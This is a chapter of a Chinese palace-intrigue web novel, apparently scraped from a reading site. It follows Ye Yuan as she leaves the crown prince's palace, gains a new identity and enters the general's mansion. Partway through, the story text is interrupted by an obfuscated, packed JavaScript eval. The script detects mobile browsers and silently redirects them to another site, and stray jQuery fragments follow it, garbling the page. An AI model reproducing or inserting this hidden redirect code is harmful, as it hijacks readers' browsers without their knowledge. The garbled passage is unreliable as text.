此时,叶苑已经收拾好了东西,其实她没有什么要整理的,只有几本书,还有些日常的用品,只背了一个包袱。
泽贞来看她,送她出宫。
“你如今出宫得了这般的赏赐,真是极好的,若有一日我也能出去,定然去你府中看看你。”
泽贞对叶苑有些不舍,偶尔她能收到叶苑给她送来的药膳,并不苦涩,反而有种清甜的滋味,她感觉自己原本胃痛的毛病好了不少。
泽贞依依不舍地告别。
而旁侧还有些女官阴阳怪去道:“叶妹妹,你且安心在那宅子里好好过着,到时候养只鸡。”
有人故意接道:“为何养只鸡?”
说话那人偷笑:“自然是养只鸡,好好看看这野鸡是当不了飞上枝头的凤凰的。”
此话说完,围着的几个人纷纷哄笑起来。
泽贞在一旁,脸色微沉,她是林尚宫的人,虽然位阶比她们高,但药膳局并不是她所管辖的,不好随意训斥,但她实在忍不住要为叶苑说几句话。
叶苑拉了拉脸色不好看的泽贞,也跟着他们一同轻轻的笑。
“我自然是要养的,我出宫后怀念各位姐姐,看着它也许便能想起各位姐姐来了。”
她语气平缓,不见丝毫嘲讽的意思,眼神也格外的真诚。
便是那副不咸不淡的样子,让这群人更加生气。
泽贞在一旁,笑得不停,忙用帕子捂住嘴巴。
“你这话也太侮辱人了吧,是诅咒我们永远当奴婢!”
几个女官脸色变了,却也不能在这门口打闹起来。
泽贞终于抓住她们的话柄:“放肆!一日为东宫的奴婢,终身都是东宫的人,怎么,你们不愿?”
其余人立马变乖,但内心中还是泛起几分嫉妒,眼神中泛着冷意。
叶苑与绿衣侍女一一告别,缓缓离开。
她却听见自己身后跪倒了一片。
所有人看见了太子殿下,连忙行礼。
太子径直走过众人向她而来,冬木紧跟其后。
东宫门口准备了一辆马车。
“姑娘,太子殿下让人用马车送您,请您上车吧。”
原本跪着的所有人,脸上都露出了惊讶和羡慕。太子的马车亲自送她到别院,这是什么样的待遇?
若说太子殿下对她厌恶,那怎么可能?
若是厌恶,怎么会亲自来到这门口送她,几个宫女的心就好像是被刀切来切去,酸的要溢出来。
他们原本还能硬着头皮安慰自己,太子是厌弃她,赶她出宫,此时都成了笑话,撕开了伪装,彻头彻尾的自欺欺人,恐怕她们这辈子都没有这样的待遇。
叶苑谢过太子,缓缓坐上了马车。
却没想到马车上太子竟然也在!
她意外与他同乘,行礼后想迈步下去,却被他一把抓住。
她无法,只得双膝要下跪,却被他一把扶住拉到座上与他贴近。
车厢密闭,两人之间的气息微弱可闻,相互纠缠。
谢煦深深望着她的眼睛,像望进她的心里去。
“太子殿下,这是做什么?”
叶苑垂下眼睛,马车在此时动了,她才拉开距离。
“自然是去别院与你同住,大隐于市,我倒也想过过避世隐居的日子。”
他话里潇洒,她心乱了一瞬,然后并不相信:“太子殿下说笑了,太子殿下公务繁忙,怎么能去小院别处?”
谢煦不知为何,平时脑子里条理逻辑清晰,而此时却像是一团乱麻,说出来的话也毫无逻辑。
“我说笑的,我只是想问清楚,为什么那日你纵览全局,献计策让他们退兵,却从未对我提过一次。”
叶苑放下心来:太子殿下原是问这个,这不过是做奴婢的本分,不值一提。
“那你身上可有太多的不值一提了。”
谢煦平日里总是爱笑,那双潋滟的桃花眼也带着润泽,而如今却是毫无表情,那几分玩世不恭收了起来,气势硬生生地压了下来。
她的心提了起来,背上出了些微汗,莫非太子殿下察觉到了什么?
“从茶楼到马场,从那小盆兰花又或是桃花树下灼灼桃花,那日寨子中的大火,我们的关系越来越近,我好似得了一种怪病,若你在时,我目光总是逡巡于你,总是下意识地想找到你的下落,这是我第一次想要或者是期待点什么发生,我希望你留下来。”
叶苑手中握着手帕,她轻轻笑了,太子殿下倒是奇怪,平日里总是笑意盈盈地说着玩世不恭的话,却又是冷着脸说这些倾诉柔肠的话,这别扭的模样,倒是让叶苑在这密不透风的京城、这步步精密的复仇之计中打出个豁口来,让她露出一点浅淡的、真心的微笑。
“太子殿下,我们会再见面的。”
他深深叹了一口气。
“我送你最后一程。”
马车驶过宽阔的道路,逐渐放缓停了下来。
等到车平稳之后,叶苑才迈着小步,到了帘口处。
别院已到,谢煦看着她,她向他行礼。
“太子殿下不一同进去吗?”
谢煦摇头。
“我早来看过,很好。”
谢煦直到看着她的身影进到府门,冬木来问他,他才掀下帘子,状若寻常一般说了一声“走”。
她推门,那院落规制得极其好。
青松绿竹,四周回廊,流水山石布置其中,有偏居一隅的宁静,隐私也极好,很是得趣。
每间房间内,屏风、桌椅和床榻都已经安置好,布置得精美。
太子做事周全细心,早有一位管家在其中笑脸欢迎。
她在其中穿行,想起了上辈子她被谢越囚禁在府邸之中,随意不得走动,那院落在她看来,宛如监狱一般,一山一石一水,都让她觉得阴森。
而如今,自己有了这一方天地,是一种从未有过的感觉,她生出几分开心。
这份喜悦维持了很久,才逐渐消散,她想起,这样的日子大概不会快乐很久,也不会过很久。
几日过去,管家告诉她,门外有人说是太子请来为她看守别院的。
叶苑请人进来。
下一秒,她略微惊讶,那是老三,她从他口中听到了太子找他去问话的全过程。
叶苑想起了那日,太子驾车送她来这里,他虽然行为不羁,但从未如此无常,虽言语有些无拘,但从未如此放浪。
他或许有些生气,但他向来聪明,就连那匪山上如此不寻常之事,便能早早预警,装作被绑架,提前调兵,准备彻查,却没看出她对他的隐瞒;又或许对她多几分欣赏,她从中斡旋帮了他几分;又或许,她随口说的心悦于他,他信了几分。
但总之,若是一个不相关的人,又怎么会生起情绪?她已经引起了太子的注意和兴趣。
管家又来禀报又来了一人,是一位大儒。
叶苑见了这大儒,他便是将军给她安排来的。
大儒一开口,便将她认作了亲妹妹。
叶苑未开口,半是默认。
这大儒在金州做官,有一位兄长,曾是位武将,上阵杀敌时战死沙场,将军和他交好,将军体恤他的家人,时常照顾。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722424|189431||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
他们的父亲前不久去世了,家主便由大儒撑起来,大儒念及家中还剩一小妹,害怕照顾不周,想送去将军府,由将军照看认作义父。
大儒介绍完毕。
半柱香的时间后,两个毫无血亲的人,素未谋面,竟然成了她名义上的哥哥。
大儒笑眯眯地看着叶苑,此事已成,他放下心来,好向将军复命。
“那烦请妹妹再等几日,过不久便会有人将你接去将军府。”
叶苑送别了这位大儒,再次进到院中。
她终究不会在这一方小院子里度过剩下的日子,那日子虽然安静,但是她从未忘记,上一辈子她什么也没做错,却被谢越百般凌辱,这辈子她主动回到将军府,她不会再躲了,她要主动出击。
不知道谢越和楚倩倩知道她的新身份后,会不会十分“开心”。
将军不日就要接她回府,她也需要早做准备,身边该有一个通晓情理的人。
她现在的身份是舒家大小姐,身边也该有几个服侍的丫鬟。
她和她名义上的父亲一商量便得到应允,选了好几个丫鬟来,她从中挑选换了几波,其中有个丫鬟,人很是机灵,家中也清白,名叫杨桃,很和她的眼缘。
杨桃曾跟着百戏班子走南闯北,见识广泛,识得字,一般人选择丫鬟看不上她这身形单薄的,可实际上她的力气因为常年扛重物,大得很。
没过几日,将军府收到消息,说有表亲要到这府中来小住几日。
叶苑从轿子上下来,看着气势恢宏的将军府,两旁的侍卫守卫森严,查验了她的牌子之后才放她进去。
查她牌子的侍卫微微抬起头,露出被盔甲挡住的眼睛,那人恰好正是十郎。
叶苑与他对了眼神。
将军府中,大小姐深受宠爱,还从来没有其他的小姐来过,为她准备的是客房,离院子很远。
她才刚向屋内走了两步,便遇到了楚查康。
楚查康目光锋锐,带领她的侍女纷纷跪下。
“果然是你。”
他就知道他们家什么时候冒出来了一个远房亲戚,果然是这心思不正的女人,假冒的。
叶苑的眼光淡淡地向他瞥过,行礼。
楚查康冷笑两声:“我们将军府里什么阿猫阿狗都能进来?也不怕脏了这院子,你们几个有没有好好查呀?”
侍女们都很不知所措,好端端的大少爷怎么发起了脾气。
有个侍女毕恭毕敬地回答:“奴婢们都已经将院落打扫干净。”
楚查□□气起来,指着地上:“这里还有那么脏的泥土,是乡下带过来的脏东西,我说呢,怕不是哪里来的乡野村妇混了进来,想要披了一身华服伪装就能装作大家闺秀,其实骨子里还是肮脏的东西。”
侍女们感觉到大少爷的怒火,纷纷都颤抖了起来。
叶苑直截了当地挑明:“何必冲着他们发脾气,有事冲我来。”
楚查康从来没见过这人,非但不心虚,倒还和他叫板了起来。
“好,算你有些气性,听说我家府邸来了一位舒氏的远亲,认我父亲做了义父,说起来算是我义妹,不过,你那父亲是个江南的小官,我如今是禁卫军的统领,比你父亲职位高,你便在地上给我跪一下,磕一个响头,我就放你过去。”
其他人一瞬间便明白了,这义女来了在这将军府是何等的处境,必然也不过是个寄人篱下的女子。
叶苑越沉默,楚查康越得意自满,变本加厉起来。
“你看,你就算进了这将军府,也进不了祖上的祠堂,依旧是一个卑微贱种!”